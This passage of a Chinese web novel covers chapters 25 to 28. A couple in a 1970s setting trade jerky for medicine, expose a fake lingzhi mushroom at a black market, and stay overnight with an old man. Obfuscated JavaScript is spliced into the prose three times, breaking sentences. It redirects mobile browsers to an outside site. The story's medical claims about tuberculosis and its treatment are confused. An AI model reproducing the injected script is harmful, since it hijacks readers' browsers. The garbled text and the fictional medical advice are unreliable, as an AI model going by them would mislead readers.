她原以为这就尽够了,可是看现在这情景,她只恨不得时光倒流回去,让自己的胆子再大些。 “嫂子,”林晚霜不知道她脸色变来变去是在想什么,于是先开了口,“有个事先和您说一下。我们想着给您那么多鲜肉也不好存放,所以这次带的全是肉干。” 听到这话,她立刻没心思在乱想了,而老太婆则立刻拿出一条肉干,眯着眼睛凑在煤油灯旁边仔细检查。 女人跟着靠过去,昏黄的火光将她们的影子折射在墙壁上,同那肉干扭曲着裹缠在一起。 这肉干品相极好,它表面粗粝如古树的皮,边角微微翘起,暗红色的纹理渗出晶亮的油光,肉纹裂成微小的沟壑。 凑近闻闻,一股子熏烤后特有的焦香瞬间扑鼻而来。 老太婆看向女人,两人脸上都带着如释重负的笑。 且不说味道如何,这肉干一看就比鲜肉经得住放。 无论是拿去还人,还是自己留着慢慢吃,都足够她们撑很长一段时间了。 女人深吸一口,回过头看着陆沉舟:“大兄弟,80颗药一斤肉干你觉得成不成?” 这话说出口,她内心是忐忑的。 价格太低了,她自己也清楚鲜肉变成肉干得损失多少斤两。 不过她又看向陆沉舟旁边的林晚霜,稍稍定了心。 这女人心肠很好,能为了生病的公爹对着她们下跪求药,能在没见到自己前就给婆婆塞了大团结。 如果她男人不同意,她就求这女人,把价格再调一点回来。 然而她的忐忑并没持续多久。 “好呀。”林晚霜已经代替陆沉舟应了下来。 此刻她也知道这报的价太低,但来的路上她和陆沉舟就商量过了。人家是冒着巨大风险给他们弄药的。 家里又是真的有困难,他们能帮就帮一把。 而且这肉干对他们来说,目前弄起来并不太困难。 “大妹子能做主?”女人不敢置信地看了眼陆沉舟。 “她能做主。”陆沉舟点了点头,仿佛再平常不过。 然而他并不知道,自己这句话落在这婆媳耳中是何等的震撼。 当前是一个只要不把老婆打死就是好男人的大环境中,女人能做主的能有几个? 婆媳二人原本看他高高大大,又冷着张脸,已经默认林晚霜在家天天挨打了。 此刻见他们相处明显和她们预料的不符。一时都怔楞了。 她们愣住不说话可是急坏了林晚霜。 此时都快十点半了,她和陆沉舟换了药还得去趟常大夫家送肉干,然后要去黑市换其他东西,完了还得上山继续打猎,做肉干。 她要抽空赶紧缝制几个大背包好装东西,明天她和陆沉舟一起回去盯着陆父把安宫牛黄丸吃下去。 然后她还得洗个头,顺便把齐臀的头发剪了。 他们三天后就要出发,时间越来越紧了。 此刻若是再任由这婆媳两个发呆,她不知道又要等多久。 “嫂子,要不咱们开始对账吧,也让我们看看那药。”她委婉的催促着。 女人如梦初醒般回过神,听到她的话,定了定神,立刻转身进了里屋。 老太婆也恍如初醒,打开抽屉找了会儿,摸出半截白蜡烛来。 过了约莫两三分钟,女人抱着两个纸袋出来交给林晚霜:“药都在这里,你们自己清点一下吧。” 老太婆拿着半截蜡烛去煤油灯上借了个火。然后递给陆沉舟。 他滴了滴蜡油在桌子上,将蜡烛立住。拿出准备好的油纸包和铅笔头,和林晚霜一起开始清点药片的数量。 老太婆和女人挨个儿拿起背篓里的肉干对着煤油灯的火焰仔细检查。 一时间四人都忙碌起来。 一小时后,在女人和老太婆一起数着桌上的药片堆。 陆沉舟刚刚其实已经算出了应该给她们多少斤肉干。但她们算不出来,还是林晚霜想了个笨办法。80颗药数一堆分着放,就这样数了一遍,才确定真的是32斤肉干。 于是老太婆又拿出称来称肉,一旁的女人则站在林晚霜身边看着她写药品名字。 “椭圆的白色药片是阿司匹林,可以用来退烧止痛。一天吃一片就行了。黑色的小圆片是甘草片,主要是止咳用的,一天可以吃三颗。含嘴里效果更好。灰色的那个是四环素,咳黄痰或者受了外伤都可以吃。但一天也只能吃一片。” 等她写完了,这笔买卖才算正式结束。 然而就在双方都以为事实结束时,女人看着突然被陆沉舟塞进手中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090648|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一对兔子,林晚霜看到自己手里被老太婆塞过来的大团结后。都是一愣。 “拿着吧,”林晚霜先开了口,“兔子是一对儿,算我送给花儿的谢礼。谢她给我端的那碗水。” 女人也同时说:“拿着吧,这钱原本是定金,现在肉干数量尽够了,定金该退给你。” 然后她们一怔,又同时说。 “这兔子我不能要。” “这钱我用不上。” 眼瞅着这两女人马上要展开一场推搡拉扯的大戏。陆沉舟说了话:“嫂子,这兔子是给孩子的,你没权利替孩子拒绝。兔子很好养,扯点草就能喂住,它一年至少生两三窝。以后孩子说不定还能靠兔子换点书读。” 女人手一下子顿住了。 陆沉舟继续说:“钱我们在黑省那边也用不了,那里地广人稀,我们这样的身份也不好去供销社。” 老太婆也一下子愣住:“你们要走了?” 她说完,又拍了下自己的头:“看我记性,之前大妹子就说了是明天走。” 她并不知道,去黑省和三天后走是当时林晚霜无奈之下撒的一个慌。 当时下放的通知还没出来,她想买药,老太婆的儿媳妇却不敢,直到她撒谎说自己三天后就要下放去黑省,老太婆的儿媳妇才同意做了这笔交易。 当时老太婆的儿媳妇还安慰她,黑省总比边疆那边好。至少土壤肥沃,野物也多。 而今天,他们的下放通知出来了:三天后,去边疆。 不过这些显然是没必要在和她们说了,萍水相逢的人。过了今天应该也不会再见到了。 少知道一些他们的事,不管对谁都好。毕竟他们还有敌人在暗处窥视。 陆沉舟很认同她的想法,谁也不知道那位林少,或者林少背后的人会不会疯狂到连和他们有接触的普通人都不放过。 就让他们以为自己是了黑省吧,这样以后万一说漏了嘴,时间地点都对不上。也不会有人注意了。 “对,明天就走了。”林晚霜点了点头。 老太婆眼泪突然掉出来,她背过身擦了一下,然后咬了咬牙:“你们要不要换狗皮帽子?” “妈!”女人突然叫了一声。 老太婆吓了一跳,嘴唇嗫嚅了下。看起来好像是犯了大错。 然而女人却接着说:“你在家,我带他们去换。” 老太婆松了口气,然而立刻她又拒绝了:“很安全的!儿媳妇,宋家小子是我看着长大的,而且这个点了,路又不远,人都睡了。你明天还得上班,听妈的话,你歇着我去。” 女人眼眶一下子红了,泪水滚落下来:“妈。” 老太婆看向林晚霜二人:“闺女,小伙,你们快跟我走,宋家离这儿不远。他家祖上是猎户,好东西多着呢。” 林晚霜有些为难,她看了眼陆沉舟。 那女人却说话了:“跟我妈去吧,她说没问题就没问题。” 然而她又看向老太婆:“妈,你小心点,看到有人抓就赶紧跑回来。” 老太婆哎哎的应着,催着她赶紧回屋陪女儿睡觉。 等她走了,老太婆才低声道:“傻闺女,要是被人看到了我哪能跑回来祸害家里啊?” 她低头去吹煤油灯,在灯旁边,那半截白蜡烛早已只剩下一摊烛泪了。 26. 第 26 章 林晚霜和陆沉舟跟着老太婆出了院子。 走了约莫四五百米,来到一户四合院门口。 老太婆上前敲了门,过了半天,一个揉着眼睛骂娘的中年男人才从屋里不情不愿地走出来。 半小时后,在老太婆的说和下,他们用三十斤肉干,两只野鸡换了两双鹿皮靴,一张老虎皮,一个狗头帽和一卷山羊毛。 等换完了这些,老太婆松了一大口气,拉着林晚霜的手看了又看:“闺女,你一定要在黑省好好活下去。” 她想了想又解下围巾,拉出根红线系着的小银饰。 银饰是一个长方形,约莫指头大一点儿,很小,很薄。已经氧化发黑了,依稀只能看到一些粗糙的纹路。 老太婆将红线从脖间摘下来,给她套在了脖子上:“这是我当年结婚的时候,我娘给我的和合符,上面是和合二仙。我戴着这个最难熬的那几年饥荒熬过来了,后面小日子屠村,我又是唯一活下来的。现在给你,希望它能也让你逢凶化吉。” 她说完这话,猫着腰,迈着两只小脚,一溜烟儿跑了。 林晚霜还摸着那小银饰没反应过来呢,她已经没影儿了。 “和合二仙不保佑平安吧。”林晚霜想笑,但是眼泪却已先一步掉了出来。 今天当真是她眼睛都受难日,尽遇到让她忍不住想哭的人和事。 “陆沉舟,我想给她们再送点东西。” “嗯,”陆沉舟看着她,“你想做什么都可以。” 她毫不犹豫直接对他伸出手:“把肉干分点出来,鸡也送过去两只好不好?” “好!”他利落的挑出两只鸡,又随手拿起一捆肉干递给她。 她抱着肉干拎着鸡,想了想跑到了老太婆家院门口放下,然后使劲敲了敲门。 等听到里面有人要出来时,她转身就跑。 陆沉舟几步追上。两人转头看到老太婆站在院门口抱着那捆肉干想叫住他们又不敢出声。 “哈哈哈,”林晚霜笑着往前跑,“凭啥光让我难受,就该让她也为难才对嘛。” “喂。陆沉舟,”她又看着他,晃动手里的银饰,“这是婶儿送我的,你不准觉得封建迷信就给我扔了哦。” “不会,”他觉得她想岔了,“这个不是封建迷信,而是一个老人对你的祝福。” 他又问她:“你感觉做好人怎么样?” 他要抓紧一切机会教育她,防止她变回原样。 “我可不算好人,”她语气轻松却格外认真,“我只是看不得好人没好报,反正上天不报我来报。” 继而她声音更认真了:“坏人也得有恶报,如果我遇到坏人了,就会比他们更坏!” “你……”他张口就想批判她,然而他立刻又想到林家,于是不再说话。 或许她说的不错,以德报德,以恶止恶。 到了常大夫家院门口,林晚霜突然从油纸上撕下一条,拿起笔头写字。 陆沉舟看向她:“你在写什么?” “告诉他们其实我们得罪了人要去劳改了,我公爹不能来复诊。让常大夫不要打听我们,以免惹祸上身。”林晚霜说完把字条折好放进背篓中。 “没有说日后报恩的话?”他有些奇怪,因为她一路都把这话挂在嘴边。 “不能写,”她摇了摇头,“这事儿我们自己心里记得就行,谁知道什么时候才能回来。总不能给人随便画饼。” 而且就常大夫那种人,这饼看了只会让他产生愧疚,后悔没跟她去给老人看病。 那样就不是报恩,而是报仇了。 她收拾好了,陆沉舟把这背篓背起,轻轻跃起跳入这约有一人多高的矮墙。 约莫两三分钟后,他背着空背篓跳了回来。 “东西都放他们堂屋桌上了,”陆沉舟对她说,“我们走吧。” 林晚霜回头看了眼隐没在月色中的小院,对着他点了点头:“快点走吧,时间不早了。” 她没有时间去同谁告别,更没有时间伤感。 到黑市时已经快凌晨,智能导航显示,小巷中藏着几个人在做交易。 她紧紧跟着陆沉舟走进小巷,心里有些紧张又害怕。 零点的黑市很考验人的眼力。 这里的东西和白天不同,大多都是些名贵又稀奇的玩意儿。 路过一个拐角时,她看到一只成人巴掌大的灵芝,边缘偏红,油亮诱人。 旁边一个大爷侧身蹲在那里,和卖灵芝的小年轻讨价还价。 “这东西可是连绝症都能治好,有的人人抢着买,600不能绝对再少了。”小年轻压低声音说。 听见“绝症都能治好”时,她脚步一顿,看向那灵芝,脑海里立刻呼叫小智:快帮我查查灵芝是不是能治绝症。 【小智:灵芝可以调节人体免疫力,抵抗肿瘤和辅助抗癌。对了,宿主,我顺便帮你扫描了,你身边10米不到的那个不是灵芝。而是木蹄层孔菌。有毒的,买了是冤种哦。】 她瞬间震惊了:小智,你还能扫描物品? 【小智:离宿主20米内的物品只要你说,我都可以扫描分析。】 这一瞬间林晚霜简直热泪盈眶,这是什么神器啊!她看了那么多小说,这年代废品站有多少好东西她是知道的。 但她一个底层出身又没学过文物鉴定的人,能淘到啥好东西? 所以打一开始她就没去过废品站妄图淘宝。 然而现在……小智,你有这功能你早说啊。 她立刻狂护它:快说,你还有哪些惊喜是朕不知道的? 【小智:我只是一个智能知识库,具体功能请你自己摸索开发。总之你如果自己没发现,我是不会说的。毕竟智能知识库没有说明书哦。】 好吧,这个理由该死的强大。 她已经决定以后要多问多用它,早日把它的功能全部摸索开发出来。 “怎么了?”见她突然停下,脸上表情变了又变,陆沉舟有些疑惑。 她这才发现自己光顾着沉迷和小智沟通,忘了走路了。 她想了想,示意他低下头,用手拢着嘴贴着他耳朵低声说:“那个灵芝有毒。” “什么?”他没有听清。 他从未与人如此近距离的靠近,一时只觉得她的气息温热,弄得自己的耳朵有些发痒。 而那痒竟如同小虫般,细细密密,从耳朵一直爬到了身上。 他控制住抓挠的冲动,只觉得整个人都酥麻了。 等她离开他耳畔时,他才勉强镇定了下来。 但没有办法,她刚刚说了什么他竟是一点儿都想不起来了。 她没发现他耳尖突然红的厉害,她还以为是自己刚刚声音太小,于是又要故技重施。 他赶紧后退,拉开一点距离。 这样突兀的举动,让他们二人都是一怔。 一个以为是自己刚刚不过脑子的举动冒犯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102378|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,一个却在疑惑自己为何会后退这半步。 一时间场面竟有些莫名尴尬起来。 索性这尴尬没持续太久。 身后灵芝的买卖已经敲定,大爷一边掏钱一边摇头:“如果不是我儿子得了绝症……唉,希望这灵芝能治好他。” 这样安静地夜晚,一丁点儿声音都会被放大。这话他们都听的清清楚楚。 林晚霜急了,一想到老大爷掏空钱包买了这毒灵芝满怀希望的给自己儿子吃,结果儿子吃完不仅没好,还直接丢了性命…… 她一把拉住陆沉舟的衣服,将他拉低。 陆沉舟差点下意识给她个过肩摔,但他理智提醒他正在拉拽他的人不是他的兵,而是他媳妇儿。 于是他克制住身体本能的反应,自觉低下头来。 然而这位置不对,他们现在的脸靠的太近了。 他立刻想要别过头去,然而她已经说话了。 温热的气息这次是扑在了他脸上,陆沉舟咬了咬舌尖,强迫自己专心听她说话。 林晚霜极快的,用最简单的措辞将事情说完,末了问他:“这事儿我们管不管?” 陆沉舟万万没想到居然是这样的事,他就着这个姿势,眼角余光迅速瞥了被小年轻握在手中的灵芝。 和书中记载的没什么区别,但不知为什么,林晚霜说这是毒灵芝,他却并不怀疑。 分不出真假,他立刻去看那卖灵芝的小年轻。 小年轻眼神飘忽,握着灵芝的手在不自觉的摩挲着,他双眼看着面前数着钱的老人,眼神炽热,全是贪婪。而同时他的身体又微微躬起,仿佛随时在准备逃跑。 这人有问题! 陆沉舟立刻大步他们走去,伸手一把揪住他衣领:“你敢卖毒灵芝?” 那小年轻立刻挣脱,毫不留恋转头就跑。 陆沉舟立刻想要追上,却被旁边的老大爷一把抱住腿,钱洒了一地,老大爷却只看着那卖灵芝的小年轻:“你快跑,我会再去找你的,一定要把灵芝留给我啊!” 那小年轻头也不回,飞快地蹿入黑暗中不见了。 老大爷此刻不仅死死抱住陆沉舟不让他动,还对着他打起来:“你个遭瘟的后生,害死我了!” “大爷,您放开我,那是毒灵芝……”他试图解释。 “我毒你个祖宗!”大爷激动地大喊,“那是我儿子的命!” 他已经站起身来,却仍旧不肯放过陆沉舟,仗着他不还手又不防备,捡起地上的泥巴石块就往他身上砸。 陆沉舟伸手挡住,却又不敢太过,怕那石块泥巴反弹伤到大爷。 他低声试图解释:“那灵芝真的有毒,吃了治不好病,还会要命……” “我打死你个乌鸦嘴!”大爷暴怒,喘着粗气,扔完了旁边的泥巴石块,甚至捡起钱团吧着也去砸他。 对上愤怒的大爷,陆沉舟就算有再多的智计都无可奈何。大爷压根不听他讲,只一味要打死他这个“害死人的崽种”。 陆沉舟无奈,已经做好了等他骂累了,砸完了,气消了再和他好好讲理的思想准备。 “你知不知道我找了多久才找到一个卖灵芝的?我为了凑这钱把家里能卖的都卖了……”大爷砸完了可以砸的东西,直接冲他怀里上手。 陆沉舟高举着手压根不敢碰到他,只能闷哼着任大爷上手锤他。 然而,一只手却突然出现在大爷面前,手里捏着一把整理好的钱。 27. 第 27 章 大爷看到眼前的钱,还未说完的话突然卡在了喉咙里。 还没来得及反应,那手的主人突然说话了,声音清脆,带着着些害怕。 “哥,刚刚那毒灵芝和吃死咱们村王大娘那个一模一样啊!” “吃死?”大爷懵了。 “哥?”陆沉舟也懵了。 没理懵了的陆沉舟,林晚霜继续对着大爷一脸崇拜:“大爷您刚刚故意那么慢的数钱,就是发现灵芝有问题是吧?” 大爷怀疑人生:“我发现灵芝有问题?” “是啊,大爷,您见多识广,真灵芝是不是长的跟伞盖一样?刚刚那个像马蹄那么厚,一看就不对劲嘛。” “马蹄?伞盖?”大爷开始去回想自己要买的那个灵芝的形状。 “马蹄边缘还涂了颜料,”林晚霜笑眯眯的说,“不然真的哪会红的这么匀称?还是大爷眼神好,不然换了我们,早买了。那回去一吃不得死人?” 大爷想起他要上手摸时,被小年轻拦住,而那灵芝边缘的红,的确太均匀了。 他突然惊出一身冷汗:该不会那真是毒灵芝吧? 他赶紧凑到林晚霜身边:“闺女,你怎么就确定那是假的?” “能不确定吗?搁我们村都吃死人了,”林晚霜一脸真诚,“卫生员还专门挨家挨户的说了,咱们这个地它就不是灵芝的产地。真灵芝都在大医院里头呢,按克卖,金贵的很。” 大爷连连点头:“可不是嘛,我们这地方灵芝少的很,要不我也不至于那么急。” “对啊,刚刚那骗子拿的灵芝还带泥呢,一看就假,”她立刻点头,“其实,我姨奶奶也是绝症病人,我们也是来找灵芝的。” “你家也有人要灵芝救命啊?”大爷看她的眼神立刻就亲近了起来。 陆沉舟算了一下她姨奶奶,那不就是林爱民的亲妈嘛。 想到那老太婆与年龄严重不符的灵活身手,他有点想笑:这是绝症病人? “可不是,绝症啊,总不能眼睁睁看她去死吧。” 接下来的十几分钟,陆沉舟目瞪口呆地看着她迅速和那个大爷打成了一片。 大爷现在不抓着他又打又闹了。 大爷现在一脸慈祥,还来给他郑重地道了歉,又硬塞给他十块钱赔罪。 他捏着怎么都拒绝不了的钱,看林晚霜用着他最不喜欢骗人方式和人家抱头痛哭诉苦。 一时间心情复杂极了。 “哎呀!大爷,那您儿子这不是绝症啊,这个很好治的!” 突然,他的思绪被林晚霜这一声真情实感地大喝带回了现实。 他赶紧看过去,只见林晚霜已经在和大爷讲治疗方法了。 且不说她说的科不科学,但一旁大爷听的是连连点头,激动之时还连拍大腿。 “所以我儿子这就是个肺结核,被误诊了啊!”大爷看她的眼神宛若是救世主,“幸好遇到了闺女你。” “你说那个是叫链霉菌对吧。我明天就带我儿子去单位开就医介绍信,带他上京都大医院去,让医生就开这个药!” 陆沉舟听到这里也放了心:不管林晚霜说的药有没有用,去了大医院重新检查下总归是没问题。 “肺结核和痨病是很像,”有了小爱的资料,林晚霜说起这些一点都不虚,“但是肺结核主要问题还是在呼吸系统,就是肺啊,鼻子啊,这些地方。痨病全身都影响,特别是消化系统。而是肺结核传染性也比痨病低。您儿子这妥妥的就是肺结核,最多吃一年药保管好!” 大爷开心极了:“是的,是的。我儿子不便血,也能吃。走走走,这么晚了你们回家不安全,我家就在附近,今晚在我家凑合一晚上得了。” 林晚霜正想拒绝,大爷又说:“我家就被服厂的,闺女你家差不差毛巾,手套,被子,床单枕巾的?大爷我给你搞!我们厂有一批七斤重的被子。就是太厚了T市没人要。你不嫌弃拿几床回去拆了用!” 七斤重的被子! T市用不了边疆正合适啊! 林晚霜一秒心动,立刻看向陆沉舟。 陆沉舟也点了点头:“那谢谢大爷了。” 大爷看他一眼,冷哼一声:“你黑着张脸一看就不讨喜,说话也不会好好说,我今天是误会你了,但是你想想难道你自己就没点儿问题吗?” 陆沉舟被他说的愣住。 “对对对,我哥人是好的,就是说话太不讨喜了,”林晚霜立刻拉着他跟了上去,“还是大爷您看人透彻。” “闺女你听大爷的,你要是找对象可不能找你哥这样,闷葫芦一个,”大爷语重心长,“算了,倒霉的是你未来的嫂子。” 三人就这样一路说着话到了大爷家。 大爷家住四合院里,是单位分的房子,一共就两个房间。 大爷殷勤地招呼了林晚霜他们洗漱,然后自己收拾了下,去儿子那屋睡了。 两个房间一大一小,大爷住的是个小间。陆沉舟这个头一进去就感觉到了拥挤。 林晚霜打了水在洗脸,他也没地方去,只能局促的坐在床边上:“晚上怎么睡?” 这屋地上也都堆着东西,实在没有给他打地铺的余量。 “就一起睡呗。”林晚霜说的一脸坦然,他们这关系,是上下级也是好兄弟。 “哦,”陆沉舟声音闷了下去,他看了眼这单人床,感觉自己心跳的有点快,于是他开始没话找话,“大爷说,找对象不能找我这样的,做我媳妇儿倒霉。你咋想的?” 林晚霜手一顿,能咋想?她又不是他媳妇儿……哦,她现在名义上是的。 她思考了一下,他的确是有些不解风情。 但以后能让他真的喜欢并且娶回来的女人肯定非常优秀,那么优秀的女人肯定可以自己调教好男人。 而自己不过是个弱小可怜又无辜的打工人罢了。 打工人肯定要会讨好自己的老板呀。 “无论是从长相,身手,头脑,品性哪方面来看,你都是最好的,”她立刻转身,认真地拍起马屁,“只有你挑别人,没有别人可以挑你。” 陆沉舟觉得自己心跳的更快了:“你真的这样想?” “必须的,我向伟人保证,字字句句真心实意!”林晚霜立刻举起手发誓,“而且你为人大方,对下属也特别好。” “你还知道我对下属好?”陆沉舟惊讶了。他记得他好像没提过自己在部队的事,他结婚的时候也没有战友过来吧。 林晚霜想,你这不废话吗?你自己吃窝头给我吃红烧肉,这如果不算对下属特别好,算什么? “对啊!”她点头,格外真诚,“身为下属,遇到你这样的 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可是这屋子……想做个运动消耗一下精力,转移一下注意力,也没地方啊。 月光透过窗棂,洒落在房间里。 他夜视能力很好,所以看的很清楚,看清楚了她白皙的脸,小刷子一样浓密的睫毛,看清了那小巧的鼻子,还有微张的小口…… 完了! 他的反应更大了。 这也太流氓了,要被抓起来批斗……也不对,这女人是他合法的媳妇儿。他可以名正言顺的看,可以名正言顺的…… 他不受控制地探过身去,低下头看她。 她身体移动了一下,腿蜷缩了一下,正好碰到他那个反应很大的位置。 很轻,但他浑身已经不受控制地剧烈抖动了一下。 他呼吸瞬间灼热起来,喷在了她的脖间。 似乎不太舒服,她别过了头去,嘴唇擦过了他的脸。 陆沉舟的双手已经快要支撑不住身体,差点压在她身上。 “这是我合法的配偶。”他突然低声说。 然后抬起头,吻上她的嘴角,只这一下,便仿佛抽干她所有的力气,他赶紧撑起身体,坐到了床边,不敢再回头看她。 眼睛不由自主地看向自己疼痛灼热的地方,很痛,很胀,想拿出来…… “我真的很健康,”他又想起她的质疑,“就是太健康了,健康的太过了。” 小智反复提醒了三遍该起床了。 林晚霜才不舍的睁开了眼。 习惯性打开小智生成睡眠时环境观察日志正要细看,她就听到院子里传来一声惊呼。 手一抖,她关掉了日志。 算了,现在陆沉舟已经认定她是失忆,就不会像之前趁睡着检查她身体了。 而且这几天以来,睡眠日志基本上都是统计她睡了多久,打了几次呼噜,翻了几个身的事。 昨晚应该也没什么需要特殊情况。 她还是赶紧去看看院子里出什么事吧。 林晚霜快步赶到院子里,就见大爷正拉着陆沉舟说话,脸上的皱纹如同一朵盛开的菊花:“小伙子你这体格真是不错,我有个远房侄女,今年17岁,念过几年书,现在在被服厂车间里……” 28. 第 28 章 此时正值深秋,清晨薄雾未散。 林晚霜只觉得那寒气儿从还未完全系好的围巾外正疯狂往她脖子里钻。 她打了个寒颤,赶紧把围巾拢拢好。然后才继续去看陆沉舟那边。 这一打眼,她就看到了陆沉舟浑身蒸腾着的白色热气。 他光着膀子,汗水随着胸膛起伏从额角滑落隐入土麻布做的背心里。 麻布想来是不够贴身,于是那隆起却并不夸张的胸肌,那短了一小截的腰上隐隐可见的腹肌…… 她赶紧移开目光,只见他右手垂握着斧柄,放松状态下的手臂肌肉仍是漂亮的隆起…… 活色生香,欲气满满…… 她脑海里不合时宜地想起一句话:死丫头你吃的可真好呀。 大爷还在继续推销:“才22岁,虽然是个寡妇,但长的……” 他身边的陆沉舟已经多次试图打断,然而他对上这大爷,只能是屡战屡败。 他正不知所措时,突然瞥见了站在原地不知道在发什么呆的林晚霜。 “林晚霜,快来救我!”他如同看到救星,立刻大声喊她。 林晚霜听到他这声喊,突然惊醒。 眼见自己的老板被大爷拉着脱不开身,满脸都是无可奈何。她立刻快步上前准备施救。 绕过陆沉舟脚边那码放齐整的柴火垛,她立刻主动迎上大爷:“大爷,我可见着您了,昨晚要不是您收留了我们,我们哪有地方住啊。” 大爷被她拉住手,先是一愣,继而认真端详她的脸:“哎呀,闺女啊,昨晚光线太暗了。我这会儿才发现你长的可真好,瞧这皮肤,白的闪人眼睛,这五官,这鹅蛋脸,这头发这身段……哎呀,快过来听大爷我说。我们厂里书记员有个儿子,才21岁……” 好消息,帮老板解围成功。 坏消息,大爷开始给她做媒。 林晚霜赶紧转移话题:“大爷,您昨晚不是还说给我哥做媳妇儿挺倒霉的?今儿个这是咋的了?我一来就听到您给他说上媒了?” 大爷丝毫不觉得自己有啥不对,反而铮铮有词:“闺女你是不知道,这男人啊,能说会道很重要,但是能干实事,眼里有活才是过日子的好手,” 大爷拉起她的手苦口婆心:“你看看这院子里的柴火,劈的多好,多齐整啊。一看你哥就适合过日子。听大爷的,找对象不能光看他会不会说,还得看他能不能干,踏不踏实。找对象,你就得找你哥这样的!” 林晚霜顿时哭笑不得,貌似说找对象不能找他是您说的吧? 大爷又开始说上媒了:“你也帮着参谋下,我这里有四个合适给你做嫂子的,一个17岁在厂里……” “大爷,”到了这会儿林晚霜不得不赶紧澄清了,“其实,我哥就是我男人。” “噶?”大爷哑火了,他张着嘴,浑浊的眼睛瞪的溜圆,看了陆沉舟又看林晚霜。 陆沉舟总算是能好好说话了:“大爷,我们领过证,真是夫妻。” 一刻钟后,院子里。 三人啃着红薯喝粥,都有些尴尬。 “不过说真的,我看人就没走过眼,”还是大爷主动提起话头,“你们是有夫妻相,来年准能抱个大胖小子,恩爱到老!” 然而他这话一向人精的林晚霜却没接住,她已经摸上了自己的小腹,陆沉舟也看了过去。 一瞬间两人都想起来他们还有个“孩子”的问题需要解决。 大爷没发现他们都异常,他吸溜溜喝完了碗里的粥。又三两口啃完红薯,突然压低声音。 “闺女,大爷我现在得去厂里头找人开介绍信了。这样,你跟你男人在这儿等着,我中午回来,到时候把被子,床单啥的都带过来。” “这不用,”林晚霜赶紧说,“我们还要去那边淘换点东西的,中午过来再和您碰行不?对了,您看被子啥的怎么换,我们也提前准备准备。” 大爷立刻明白这是又要去黑市。 他也不多问,直接报价。 “这被子员工内部价是60元一床。大家嫌弃这价格太高,现在没几个人买。你只要给钱够了,要多少都行。枕巾一对12块,床单是20,被套25,毛巾8块。和供销社一个价,就是不要票。” 林晚霜心算了一下家里剩的钱,顿时觉得有些不妙。 陆家在不到两个月,先是办了场婚礼,接着就是被抄家,陆母陆父就连生病,最后陆母死亡又办了场白事。 一番折腾下来,陆家是一分钱都掏不出来,陆沉舟存折上的钱也花的差不多了。 她过来后去林家薅了两回羊毛不假,但那些钱昨天也花掉了。 现在算来,剩余的不知道买不买的起三床被子。 “被子要四床,”陆沉舟的声音响起,“其他的用野猪肉干抵钱可不可以?” 家里剩余的钱还差一点才够买得起三床棉被。 但陆沉舟想了想,保险起见还是得买个四床,毕竟边疆那边到底多冷他也没感受过。只有三床到时候让谁不盖都不公平。 他已经想好了,等会儿去黑市先问刘三叔借点钱应急,后面再还。 至于枕巾这些价格没那么高的,或许会有人愿意自己买了和他们换肉干也说不定。 “野猪肉干啊,”大爷一双浑浊的老眼闪出精光,他打量了陆沉舟一圈,“可惜了,大爷我只有一个儿子。” 然而他立刻又想起这人娶了媳妇儿。 “野猪肉干是好东西,毛巾换3斤肉干,床单换8斤,被套10斤,枕巾5斤,你看行不行?” “行!”陆沉舟毫不犹豫地说。 他昨天背了一背篓进城,还打了包裹装了六七十斤。 就是山上的野猪肉全用完了。 不过也不怕,还有狍子什么都可以继续做肉干,今天他回去再去打点别的野物。 两人就此敲定买卖,大爷豪爽的表示,有多少肉干他收多少,别人不要他全包了。 三人商定好了,陆沉舟和林晚霜就往黑市去了,大爷赶着去上班也没再送。 早上七点多的黑市比凌晨可萧条太多了。 林晚霜用智能导航查了查,发现街巷里居然一个人都没有。 陆沉舟带着她绕了几圈,走到一户挂了个破草帽的门前。 他侧身确认了下周围足够安全,于是敲了两下门,隔了几秒,又敲了四下。 门很快就开了,开门的是个老头子,他佝偻着身子,也不抬头看人,直接用他那如同破了的风箱逐客:“快走,我不磨剪子,没有破烂换。” 陆沉舟低声喊了句:“三叔。” 刘三叔瞬间打直腰板,一双眼睛睁开,压低声音:“你小子咋这会儿来了?不回去找你媳妇儿了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121071|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “找着了,”陆沉舟让开点位置,露出身后的林晚霜,“这是我媳妇儿。” 林晚霜立刻甜甜的给他问了好,不动声色地瞧瞧打量着他。 他头发花白稀疏,一口胡须也飘飘扬扬没个几根。 身上破破烂烂,手里杵着根颜色暗沉的棍子。 看上去像个乞丐,然而他衣服破烂却不影响保暖,且绝不脏污,倒像是故意穿成这样的。 而那根脏污的棍子,小智已经扫描出结果:顶级的金丝楠木,在21世纪按平方米算价格,就他手中的这根,至少值个几千万了。 “小姑娘眼睛很利。”或许是发现她在看自己的棍子,刘三叔突然笑了。 